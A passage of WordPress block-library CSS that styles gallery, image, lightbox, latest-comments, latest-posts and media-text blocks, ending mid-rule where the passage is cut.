.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  justify-content:center;
  margin:0 1em 1em 0;
  position:relative;
  width:calc(50% - 1em);
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n){
  margin-right:0;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure{
  align-items:flex-end;
  display:flex;
  height:100%;
  justify-content:flex-start;
  margin:0;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img{
  display:block;
  height:auto;
  max-width:100%;
  width:auto;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption{
  background:linear-gradient(0deg, #000000b3, #0000004d 70%, #0000);
  bottom:0;
  box-sizing:border-box;
  color:#fff;
  font-size:.8em;
  margin:0;
  max-height:100%;
  overflow:auto;
  padding:3em .77em .7em;
  position:absolute;
  text-align:center;
  width:100%;
  z-index:2;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img{
  display:inline;
}
.blocks-gallery-grid:not(.has-nested-images) figcaption,.wp-block-gallery:not(.has-nested-images) figcaption{
  flex-grow:1;
}
.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img{
  flex:1;
  height:100%;
  object-fit:cover;
  width:100%;
}
.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item{
  margin-right:0;
  width:100%;
}
@media (min-width:600px){
  .blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item{
    margin-right:1em;
    width:calc(33.33333% - .66667em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item{
    margin-right:1em;
    width:calc(25% - .75em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item{
    margin-right:1em;
    width:calc(20% - .8em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item{
    margin-right:1em;
    width:calc(16.66667% - .83333em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item{
    margin-right:1em;
    width:calc(14.28571% - .85714em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item{
    margin-right:1em;
    width:calc(12.5% - .875em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n){
    margin-right:0;
  }
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child{
  margin-right:0;
}
.blocks-gallery-grid:not(.has-nested-images).alignleft,.blocks-gallery-grid:not(.has-nested-images).alignright,.wp-block-gallery:not(.has-nested-images).alignleft,.wp-block-gallery:not(.has-nested-images).alignright{
  max-width:420px;
  width:100%;
}
.blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure{
  justify-content:center;
}

.wp-block-gallery:not(.is-cropped) .blocks-gallery-item{
  align-self:flex-start;
}

figure.wp-block-gallery.has-nested-images{
  align-items:normal;
}

.wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image){
  margin:0;
  width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)/2);
}
.wp-block-gallery.has-nested-images figure.wp-block-image{
  box-sizing:border-box;
  display:flex;
  flex-direction:column;
  flex-grow:1;
  justify-content:center;
  max-width:100%;
  position:relative;
}
.wp-block-gallery.has-nested-images figure.wp-block-image>a,.wp-block-gallery.has-nested-images figure.wp-block-image>div{
  flex-direction:column;
  flex-grow:1;
  margin:0;
}
.wp-block-gallery.has-nested-images figure.wp-block-image img{
  display:block;
  height:auto;
  max-width:100% !important;
  width:auto;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption):before{
  bottom:0;
  left:0;
  max-height:100%;
  position:absolute;
  right:0;
}
.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption):before{
  -webkit-backdrop-filter:blur(3px);
          backdrop-filter:blur(3px);
  content:"";
  height:100%;
  -webkit-mask-image:linear-gradient(0deg, #000 20%, #0000);
          mask-image:linear-gradient(0deg, #000 20%, #0000);
  max-height:40%;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{
  background:linear-gradient(0deg, #0006, #0000);
  box-sizing:border-box;
  color:#fff;
  font-size:13px;
  margin:0;
  overflow:auto;
  padding:1em;
  scrollbar-color:#0000 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-width:thin;
  text-align:center;
  text-shadow:0 0 1.5px #000;
  will-change:transform;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-track{
  background-color:initial;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:initial;
  border:3px solid #0000;
  border-radius:8px;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover::-webkit-scrollbar-thumb{
  background-color:#fffc;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover{
  scrollbar-color:#fffc #0000;
}
@media (hover:none){
  .wp-block-gallery.has-nested-images figure.wp-block-image figcaption{
    scrollbar-color:#fffc #0000;
  }
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption img{
  display:inline;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption a{
  color:inherit;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img{
  box-sizing:border-box;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>a,.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>div,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>a,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>div{
  flex:1 1 auto;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption{
  background:none;
  color:inherit;
  flex:initial;
  margin:0;
  padding:10px 10px 9px;
  position:relative;
  text-shadow:none;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border:before,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded:before{
  content:none;
}
.wp-block-gallery.has-nested-images figcaption{
  flex-basis:100%;
  flex-grow:1;
  text-align:center;
}
.wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image){
  margin-bottom:auto;
  margin-top:0;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image){
  align-self:inherit;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>div:not(.components-drop-zone){
  display:flex;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img{
  flex:1 0 0%;
  height:100%;
  object-fit:cover;
  width:100%;
}
.wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image){
  width:100%;
}
@media (min-width:600px){
  .wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image){
    width:calc(33.33333% - var(--wp--style--unstable-gallery-gap, 16px)*.66667);
  }
  .wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image){
    width:calc(25% - var(--wp--style--unstable-gallery-gap, 16px)*.75);
  }
  .wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image){
    width:calc(20% - var(--wp--style--unstable-gallery-gap, 16px)*.8);
  }
  .wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image){
    width:calc(16.66667% - var(--wp--style--unstable-gallery-gap, 16px)*.83333);
  }
  .wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image){
    width:calc(14.28571% - var(--wp--style--unstable-gallery-gap, 16px)*.85714);
  }
  .wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image){
    width:calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px)*.875);
  }
  .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image){
    width:calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px)*.66667);
  }
  .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){
    width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*.5);
  }
  .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:last-child{
    width:100%;
  }
}
.wp-block-gallery.has-nested-images.alignleft,.wp-block-gallery.has-nested-images.alignright{
  max-width:420px;
  width:100%;
}
.wp-block-gallery.has-nested-images.aligncenter{
  justify-content:center;
}

.wp-block-group{
  box-sizing:border-box;
}

:where(.wp-block-group.wp-block-group-is-layout-constrained){
  position:relative;
}

h1.has-background,h2.has-background,h3.has-background,h4.has-background,h5.has-background,h6.has-background{
  padding:1.25em 2.375em;
}
h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){
  rotate:180deg;
}

.wp-block-image>a,.wp-block-image>figure>a{
  display:inline-block;
}
.wp-block-image img{
  box-sizing:border-box;
  height:auto;
  max-width:100%;
  vertical-align:bottom;
}
@media not (prefers-reduced-motion){
  .wp-block-image img.hide{
    visibility:hidden;
  }
  .wp-block-image img.show{
    animation:show-content-image .4s;
  }
}
.wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{
  border-radius:inherit;
}
.wp-block-image.has-custom-border img{
  box-sizing:border-box;
}
.wp-block-image.aligncenter{
  text-align:center;
}
.wp-block-image.alignfull>a,.wp-block-image.alignwide>a{
  width:100%;
}
.wp-block-image.alignfull img,.wp-block-image.alignwide img{
  height:auto;
  width:100%;
}
.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{
  display:table;
}
.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{
  caption-side:bottom;
  display:table-caption;
}
.wp-block-image .alignleft{
  float:left;
  margin:.5em 1em .5em 0;
}
.wp-block-image .alignright{
  float:right;
  margin:.5em 0 .5em 1em;
}
.wp-block-image .aligncenter{
  margin-left:auto;
  margin-right:auto;
}
.wp-block-image :where(figcaption){
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-image.is-style-circle-mask img{
  border-radius:9999px;
}
@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){
  .wp-block-image.is-style-circle-mask img{
    border-radius:0;
    -webkit-mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');
            mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');
    mask-mode:alpha;
    -webkit-mask-position:center;
            mask-position:center;
    -webkit-mask-repeat:no-repeat;
            mask-repeat:no-repeat;
    -webkit-mask-size:contain;
            mask-size:contain;
  }
}

:root :where(.wp-block-image.is-style-rounded img,.wp-block-image .is-style-rounded img){
  border-radius:9999px;
}

.wp-block-image figure{
  margin:0;
}

.wp-lightbox-container{
  display:flex;
  flex-direction:column;
  position:relative;
}
.wp-lightbox-container img{
  cursor:zoom-in;
}
.wp-lightbox-container img:hover+button{
  opacity:1;
}
.wp-lightbox-container button{
  align-items:center;
  -webkit-backdrop-filter:blur(16px) saturate(180%);
          backdrop-filter:blur(16px) saturate(180%);
  background-color:#5a5a5a40;
  border:none;
  border-radius:4px;
  cursor:zoom-in;
  display:flex;
  height:20px;
  justify-content:center;
  opacity:0;
  padding:0;
  position:absolute;
  right:16px;
  text-align:center;
  top:16px;
  width:20px;
  z-index:100;
}
@media not (prefers-reduced-motion){
  .wp-lightbox-container button{
    transition:opacity .2s ease;
  }
}
.wp-lightbox-container button:focus-visible{
  outline:3px auto #5a5a5a40;
  outline:3px auto -webkit-focus-ring-color;
  outline-offset:3px;
}
.wp-lightbox-container button:hover{
  cursor:pointer;
  opacity:1;
}
.wp-lightbox-container button:focus{
  opacity:1;
}
.wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){
  background-color:#5a5a5a40;
  border:none;
}

.wp-lightbox-overlay{
  box-sizing:border-box;
  cursor:zoom-out;
  height:100vh;
  left:0;
  overflow:hidden;
  position:fixed;
  top:0;
  visibility:hidden;
  width:100%;
  z-index:100000;
}
.wp-lightbox-overlay .close-button{
  align-items:center;
  cursor:pointer;
  display:flex;
  justify-content:center;
  min-height:40px;
  min-width:40px;
  padding:0;
  position:absolute;
  right:calc(env(safe-area-inset-right) + 16px);
  top:calc(env(safe-area-inset-top) + 16px);
  z-index:5000000;
}
.wp-lightbox-overlay .close-button:focus,.wp-lightbox-overlay .close-button:hover,.wp-lightbox-overlay .close-button:not(:hover):not(:active):not(.has-background){
  background:none;
  border:none;
}
.wp-lightbox-overlay .lightbox-image-container{
  height:var(--wp--lightbox-container-height);
  left:50%;
  overflow:hidden;
  position:absolute;
  top:50%;
  transform:translate(-50%, -50%);
  transform-origin:top left;
  width:var(--wp--lightbox-container-width);
  z-index:9999999999;
}
.wp-lightbox-overlay .wp-block-image{
  align-items:center;
  box-sizing:border-box;
  display:flex;
  height:100%;
  justify-content:center;
  margin:0;
  position:relative;
  transform-origin:0 0;
  width:100%;
  z-index:3000000;
}
.wp-lightbox-overlay .wp-block-image img{
  height:var(--wp--lightbox-image-height);
  min-height:var(--wp--lightbox-image-height);
  min-width:var(--wp--lightbox-image-width);
  width:var(--wp--lightbox-image-width);
}
.wp-lightbox-overlay .wp-block-image figcaption{
  display:none;
}
.wp-lightbox-overlay button{
  background:none;
  border:none;
}
.wp-lightbox-overlay .scrim{
  background-color:#fff;
  height:100%;
  opacity:.9;
  position:absolute;
  width:100%;
  z-index:2000000;
}
.wp-lightbox-overlay.active{
  visibility:visible;
}
@media not (prefers-reduced-motion){
  .wp-lightbox-overlay.active{
    animation:turn-on-visibility .25s both;
  }
  .wp-lightbox-overlay.active img{
    animation:turn-on-visibility .35s both;
  }
  .wp-lightbox-overlay.show-closing-animation:not(.active){
    animation:turn-off-visibility .35s both;
  }
  .wp-lightbox-overlay.show-closing-animation:not(.active) img{
    animation:turn-off-visibility .25s both;
  }
  .wp-lightbox-overlay.zoom.active{
    animation:none;
    opacity:1;
    visibility:visible;
  }
  .wp-lightbox-overlay.zoom.active .lightbox-image-container{
    animation:lightbox-zoom-in .4s;
  }
  .wp-lightbox-overlay.zoom.active .lightbox-image-container img{
    animation:none;
  }
  .wp-lightbox-overlay.zoom.active .scrim{
    animation:turn-on-visibility .4s forwards;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active){
    animation:none;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container{
    animation:lightbox-zoom-out .4s;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img{
    animation:none;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim{
    animation:turn-off-visibility .4s forwards;
  }
}

@keyframes show-content-image{
  0%{
    visibility:hidden;
  }
  99%{
    visibility:hidden;
  }
  to{
    visibility:visible;
  }
}
@keyframes turn-on-visibility{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
@keyframes turn-off-visibility{
  0%{
    opacity:1;
    visibility:visible;
  }
  99%{
    opacity:0;
    visibility:visible;
  }
  to{
    opacity:0;
    visibility:hidden;
  }
}
@keyframes lightbox-zoom-in{
  0%{
    transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));
  }
  to{
    transform:translate(-50%, -50%) scale(1);
  }
}
@keyframes lightbox-zoom-out{
  0%{
    transform:translate(-50%, -50%) scale(1);
    visibility:visible;
  }
  99%{
    visibility:visible;
  }
  to{
    transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));
    visibility:hidden;
  }
}
ol.wp-block-latest-comments{
  box-sizing:border-box;
  margin-left:0;
}

:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment)){
  line-height:1.1;
}

:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment-excerpt p)){
  line-height:1.8;
}

.has-dates :where(.wp-block-latest-comments:not([style*=line-height])),.has-excerpts :where(.wp-block-latest-comments:not([style*=line-height])){
  line-height:1.5;
}

.wp-block-latest-comments .wp-block-latest-comments{
  padding-left:0;
}

.wp-block-latest-comments__comment{
  list-style:none;
  margin-bottom:1em;
}
.has-avatars .wp-block-latest-comments__comment{
  list-style:none;
  min-height:2.25em;
}
.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta{
  margin-left:3.25em;
}

.wp-block-latest-comments__comment-excerpt p{
  font-size:.875em;
  margin:.36em 0 1.4em;
}

.wp-block-latest-comments__comment-date{
  display:block;
  font-size:.75em;
}

.wp-block-latest-comments .avatar,.wp-block-latest-comments__comment-avatar{
  border-radius:1.5em;
  display:block;
  float:left;
  height:2.5em;
  margin-right:.75em;
  width:2.5em;
}

.wp-block-latest-comments[class*=-font-size] a,.wp-block-latest-comments[style*=font-size] a{
  font-size:inherit;
}

.wp-block-latest-posts{
  box-sizing:border-box;
}
.wp-block-latest-posts.alignleft{
  margin-right:2em;
}
.wp-block-latest-posts.alignright{
  margin-left:2em;
}
.wp-block-latest-posts.wp-block-latest-posts__list{
  list-style:none;
}
.wp-block-latest-posts.wp-block-latest-posts__list li{
  clear:both;
  overflow-wrap:break-word;
}
.wp-block-latest-posts.is-grid{
  display:flex;
  flex-wrap:wrap;
}
.wp-block-latest-posts.is-grid li{
  margin:0 1.25em 1.25em 0;
  width:100%;
}
@media (min-width:600px){
  .wp-block-latest-posts.columns-2 li{
    width:calc(50% - .625em);
  }
  .wp-block-latest-posts.columns-2 li:nth-child(2n){
    margin-right:0;
  }
  .wp-block-latest-posts.columns-3 li{
    width:calc(33.33333% - .83333em);
  }
  .wp-block-latest-posts.columns-3 li:nth-child(3n){
    margin-right:0;
  }
  .wp-block-latest-posts.columns-4 li{
    width:calc(25% - .9375em);
  }
  .wp-block-latest-posts.columns-4 li:nth-child(4n){
    margin-right:0;
  }
  .wp-block-latest-posts.columns-5 li{
    width:calc(20% - 1em);
  }
  .wp-block-latest-posts.columns-5 li:nth-child(5n){
    margin-right:0;
  }
  .wp-block-latest-posts.columns-6 li{
    width:calc(16.66667% - 1.04167em);
  }
  .wp-block-latest-posts.columns-6 li:nth-child(6n){
    margin-right:0;
  }
}

:root :where(.wp-block-latest-posts.is-grid){
  padding:0;
}
:root :where(.wp-block-latest-posts.wp-block-latest-posts__list){
  padding-left:0;
}

.wp-block-latest-posts__post-author,.wp-block-latest-posts__post-date{
  display:block;
  font-size:.8125em;
}

.wp-block-latest-posts__post-excerpt,.wp-block-latest-posts__post-full-content{
  margin-bottom:1em;
  margin-top:.5em;
}

.wp-block-latest-posts__featured-image a{
  display:inline-block;
}
.wp-block-latest-posts__featured-image img{
  height:auto;
  max-width:100%;
  width:auto;
}
.wp-block-latest-posts__featured-image.alignleft{
  float:left;
  margin-right:1em;
}
.wp-block-latest-posts__featured-image.alignright{
  float:right;
  margin-left:1em;
}
.wp-block-latest-posts__featured-image.aligncenter{
  margin-bottom:1em;
  text-align:center;
}

ol,ul{
  box-sizing:border-box;
}

:root :where(.wp-block-list.has-background){
  padding:1.25em 2.375em;
}

.wp-block-loginout,.wp-block-media-text{
  box-sizing:border-box;
}

.wp-block-media-text{
  direction:ltr;
  display:grid;
  grid-template-columns:50% 1fr;
  grid-template-rows:auto;
}
.wp-block-media-text.has-media-on-the-right{
  grid-template-columns:1fr 50%;
}

.wp-block-media-text.is-vertically-aligned-top>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top>.wp-block-media-text__media{
  align-self:start;
}

.wp-block-media-text.is-vertically-aligned-center>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center>.wp-block-media-text__media,.wp-block-media-text>.wp-block-media-text__content,.wp-block-media-text>.wp-block-media-text__media{
  align-self:center;
}

.wp-block-media-text.is-vertically-aligned-bottom>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom>.wp-block-media-text__media{
  align-self:end;
}

.wp-block-media-text>.wp-block-media-text__media{
  grid-column:1;
  grid-row:1;
  margin:0;
}

.wp-block-media-text>.wp-block-media-text__content{
  direction:ltr;
  grid-column:2;
  grid-row:1;
  padding:0 8%;
  word-break:break-word;
}

.wp-block-media-text.has-media-on-the-right>.wp-block-media-text__media{
  grid-column:2;
  grid-row:1;
}

.wp-block-media-text.has-media-on-the-right>.wp-block-media-text__content{
  grid-column:1;
  grid-row:1;
}

.wp-block-media-text__media a{
  display:block;
}

.wp-block-media-text__media img,.wp-block-media-text__media video{
  height:auto;
  max-width:unset;
  vertical-align:middle;
  width:100%;
}
.wp-block-media-text.is-image-fill>.wp-block-media-text__media{
  background-size:cover;
  height:100%;
  min-height:250px;
}

.wp-block-media-text.is-image-fill>.wp-block-media-text__media>a{
  display:block;
  height:100%;
}

.wp-block-media-text.is-image-fill>.wp-block-media-text__media img{
  height:1px;
  margin:-1px;
  overflow:hidden;
  padding:0;
  position:absolute;
  width:1px;
